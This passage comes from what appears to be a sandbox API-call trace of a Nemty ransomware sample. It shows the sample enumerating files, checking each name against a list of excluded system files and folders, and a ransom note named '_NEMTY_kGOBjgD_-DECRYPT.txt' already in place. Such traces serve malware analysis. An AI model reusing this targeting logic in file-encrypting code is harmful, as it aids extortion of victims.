lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0107.410] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0107.410] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e80 [0107.410] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0107.410] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0107.410] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0107.410] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0107.410] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e80 | out: hHeap=0x4f90000) returned 1 [0107.410] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0107.410] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0107.410] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0107.410] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0107.410] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0107.410] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0107.410] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0107.410] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0107.410] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0107.410] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ed58, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0107.410] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0107.410] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94258 [0107.410] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f941d0 | out: hHeap=0x4f90000) returned 1 [0107.410] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0107.410] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0107.410] FindNextFileW (in: hFindFile=0x3423a30, lpFindFileData=0x653f008 | out: lpFindFileData=0x653f008*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf3971490, ftCreationTime.dwHighDateTime=0x1d561e7, ftLastAccessTime.dwLowDateTime=0xf3971490, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xf3971490, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0xd, dwReserved1=0x4f90000, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 0 [0107.410] FindClose (in: hFindFile=0x3423a30 | out: hFindFile=0x3423a30) returned 1 [0107.411] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94258 | out: hHeap=0x4f90000) returned 1 [0107.411] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f940f0 | out: hHeap=0x4f90000) returned 1 [0107.411] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f915f8 | out: hHeap=0x4f90000) returned 1 [0107.411] FindNextFileW (in: hFindFile=0x3423930, lpFindFileData=0x653f348 | out: lpFindFileData=0x653f348*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9e3a861e, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9e3a861e, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9e7acb45, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x45f000, dwReserved0=0xd, dwReserved1=0x4f90000, cFileName="wordpad.exe", cAlternateFileName="")) returned 1 [0107.411] lstrcmpiW (lpString1="wordpad.exe", lpString2=".") returned 1 [0107.411] lstrcmpiW (lpString1="wordpad.exe", lpString2="..") returned 1 [0107.411] lstrcmpiW (lpString1="wordpad.exe", lpString2="...") returned 1 [0107.411] lstrcmpiW (lpString1="wordpad.exe", lpString2="windows") returned 1 [0107.411] lstrcmpiW (lpString1="wordpad.exe", lpString2="$RECYCLE.BIN") returned 1 [0107.411] lstrcmpiW (lpString1="wordpad.exe", lpString2="rsa") returned 1 [0107.411] lstrcmpiW (lpString1="wordpad.exe", lpString2="NTDETECT.COM") returned 1 [0107.411] lstrcmpiW (lpString1="wordpad.exe", lpString2="ntldr") returned 1 [0107.411] lstrcmpiW (lpString1="wordpad.exe", lpString2="MSDOS.SYS") returned 1 [0107.411] lstrcmpiW (lpString1="wordpad.exe", lpString2="IO.SYS") returned 1 [0107.411] lstrcmpiW (lpString1="wordpad.exe", lpString2="boot.ini") returned 1 [0107.411] lstrcmpiW (lpString1="wordpad.exe", lpString2="boot.ini") returned 1 [0107.411] lstrcmpiW (lpString1="wordpad.exe", lpString2="AUTOEXEC.BAT") returned 1 [0107.411] lstrcmpiW (lpString1="wordpad.exe", lpString2="ntuser.dat") returned 1 [0107.411] lstrcmpiW (lpString1="wordpad.exe", lpString2="desktop.ini") returned 1 [0107.411] lstrcmpiW (lpString1="wordpad.exe", lpString2="CONFIG.SYS") returned 1 [0107.411] lstrcmpiW (lpString1="wordpad.exe", lpString2="RECYCLER") returned 1 [0107.411] lstrcmpiW (lpString1="wordpad.exe", lpString2="BOOTSECT.BAK") returned 1 [0107.411] lstrcmpiW (lpString1="wordpad.exe", lpString2="bootmgr") returned 1 [0107.411] lstrcmpiW (lpString1="wordpad.exe", lpString2="programdata") returned 1 [0107.411] lstrcmpiW (lpString1="wordpad.exe", lpString2="appdata") returned 1 [0107.411] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0107.411] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="wordpad.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0107.411] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="wordpad.exe", cchWideChar=11, lpMultiByteStr=0x653f250, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wordpad.exe", lpUsedDefaultChar=0x0) returned 11 [0107.411] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0107.411] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="wordpad.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0107.411] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="wordpad.exe", cchWideChar=11, lpMultiByteStr=0x653f250, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wordpad.exe", lpUsedDefaultChar=0x0) returned 11 [0107.411] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0107.411] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0107.411] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0107.412] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="wordpad.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0107.412] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="wordpad.exe", cchWideChar=11, lpMultiByteStr=0x653f2a0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wordpad.exe", lpUsedDefaultChar=0x0) returned 11 [0107.412] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0107.412] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0107.412] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="wordpad.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0107.412] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="wordpad.exe", cchWideChar=11, lpMultiByteStr=0x653f2d8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wordpad.exe", lpUsedDefaultChar=0x0) returned 11 [0107.412] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0107.412] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x4f915f8 [0107.412] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94088 | out: hHeap=0x4f90000) returned 1 [0107.412] FindNextFileW (in: hFindFile=0x3423930, lpFindFileData=0x653f348 | out: lpFindFileData=0x653f348*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea54dff0, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0xea54dff0, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x464289e0, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x3a000, dwReserved0=0xd, dwReserved1=0x4f90000, cFileName="WordpadFilter.dll", cAlternateFileName="")) returned 1 [0107.412] lstrcmpiW (lpString1="WordpadFilter.dll", lpString2=".") returned 1 [0107.412] lstrcmpiW (lpString1="WordpadFilter.dll", lpString2="..") returned 1 [0107.412] lstrcmpiW (lpString1="WordpadFilter.dll", lpString2="...") returned 1 [0107.412] lstrcmpiW (lpString1="WordpadFilter.dll", lpString2="windows") returned 1 [0107.412] lstrcmpiW (lpString1="WordpadFilter.dll", lpString2="$RECYCLE.BIN") returned 1 [0107.412] lstrcmpiW (lpString1="WordpadFilter.dll", lpString2="rsa") returned 1 [0107.412] lstrcmpiW (lpString1="WordpadFilter.dll", lpString2="NTDETECT.COM") returned 1 [0107.412] lstrcmpiW (lpString1="WordpadFilter.dll", lpString2="ntldr") returned 1 [0107.412] lstrcmpiW (lpString1="WordpadFilter.dll", lpString2="MSDOS.SYS") returned 1 [0107.412] lstrcmpiW (lpString1="WordpadFilter.dll", lpString2="IO.SYS") returned 1 [0107.412] lstrcmpiW (lpString1="WordpadFilter.dll", lpString2="boot.ini") returned 1 [0107.412] lstrcmpiW (lpString1="WordpadFilter.dll", lpString2="boot.ini") returned 1 [0107.412] lstrcmpiW (lpString1="WordpadFilter.dll", lpString2="AUTOEXEC.BAT") returned 1 [0107.412] lstrcmpiW (lpString1="WordpadFilter.dll", lpString2="ntuser.dat") returned 1 [0107.412] lstrcmpiW (lpString1="WordpadFilter.dll", lpString2="desktop.ini") returned 1 [0107.412] lstrcmpiW (lpString1="WordpadFilter.dll", lpString2="CONFIG.SYS") returned 1 [0107.412] lstrcmpiW (lpString1="WordpadFilter.dll", lpString2="RECYCLER") returned 1 [0107.412] lstrcmpiW (lpString1="WordpadFilter.dll", lpString2="BOOTSECT.BAK") returned 1 [0107.412] lstrcmpiW (lpString1="WordpadFilter.dll", lpString2="bootmgr") returned 1 [0107.412] lstrcmpiW (lpString1="WordpadFilter.dll", lpString2="programdata") returned 1 [0107.412] lstrcmpiW (lpString1="WordpadFilter.dll", lpString2="appdata") returned 1 [0107.412] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0107.412] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WordpadFilter.dll", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0107.412] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0107.412] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WordpadFilter.dll", cchWideChar=17, lpMultiByteStr=0x4f9ecb8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="WordpadFilter.dll", lpUsedDefaultChar=0x0) returned 17 [0107.413] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0107.413] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0107.413] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WordpadFilter.dll", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0107.413] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0107.413] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WordpadFilter.dll", cchWideChar=17, lpMultiByteStr=0x4f9ecb8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="WordpadFilter.dll", lpUsedDefaultChar=0x0) returned 17 [0107.413] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0107.413] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0107.413] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0107.413] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0107.413] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WordpadFilter.dll", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0107.413] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0107.413] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WordpadFilter.dll", cchWideChar=17, lpMultiByteStr=0x4f9ecb8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="WordpadFilter.dll", lpUsedDefaultChar=0x0) returned 17 [0107.413] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0107.413] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0107.413] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WordpadFilter.dll", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0107.413] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0107.413] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WordpadFilter.dll", cchWideChar=17, lpMultiByteStr=0x4f9ed58, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="WordpadFilter.dll", lpUsedDefaultChar=0x0) returned 17 [0107.413] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0107.413] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94088 [0107.413] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f915f8 | out: hHeap=0x4f90000) returned 1 [0107.413] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0107.413] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0107.413] FindNextFileW (in: hFindFile=0x3423930, lpFindFileData=0x653f348 | out: lpFindFileData=0x653f348*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf3971490, ftCreationTime.dwHighDateTime=0x1d561e7, ftLastAccessTime.dwLowDateTime=0xf3971490, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xf3971490, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0xd, dwReserved1=0x4f90000, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 1 [0107.413] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2=".") returned 1 [0107.413] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="..") returned 1 [0107.413] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="...") returned 1 [0107.413] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="windows") returned -1 [0107.413] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="$RECYCLE.BIN") returned 1 [0107.413] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="rsa") returned -1 [0107.413] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="NTDETECT.COM") returned -1 [0107.413] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntldr") returned -1 [0107.413] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="MSDOS.SYS") returned -1 [0107.413] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="IO.SYS") returned -1 [0107.413] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0107.413] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0107.413] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="AUTOEXEC.BAT") returned -1 [0107.414] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0107.414] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="desktop.ini") returned -1 [0107.414] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="CONFIG.SYS") returned -1 [0107.414] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="RECYCLER") returned -1 [0107.414] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="BOOTSECT.BAK") returned -1 [0107.414] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="bootmgr") returned -1 [0107.414] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="programdata") returned -1 [0107.414] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="appdata") returned -1 [0107.414] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0107.414] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0107.414] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0107.414] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0107.414] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0107.414] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e80 [0107.414] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0107.414] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0107.414] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0107.414] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0107.414] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e80 | out: hHeap=0x4f90000) returned 1 [0107.414] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0107.414] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0107.414] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0107.414] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0107.414] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0107.414] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0107.414] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0107.414] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0107.414] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0107.414] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ed58, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0107.414] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0107.414] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0107.414] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94088 | out: hHeap=0x4f90000) returned 1 [0107.414] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0107.414] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0107.414] FindNextFileW (in: hFindFile=0x3423930, lpFindFileData=0x653f348 | out: lpFindFileData=0x653f348*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf3971490, ftCreationTime.dwHighDateTime=0x1d561e7, ftLastAccessTime.dwLowDateTime=0xf3971490, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xf3971490, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0xd, dwReserved1=0x4f90000, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 0 [0107.415] FindClose (in: hFindFile=0x3423930 | out: hFindFile=0x3423930) returned 1 [0107.415] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0107.415] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91590 | out: hHeap=0x4f90000) returned 1 [0107.415] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f916e8 | out: hHeap=0x4f90000) returned 1 [0107.415] FindNextFileW (in: hFindFile=0x3423970, lpFindFileData=0x653f688 | out: lpFindFileData=0x653f688*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8ab1dc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, 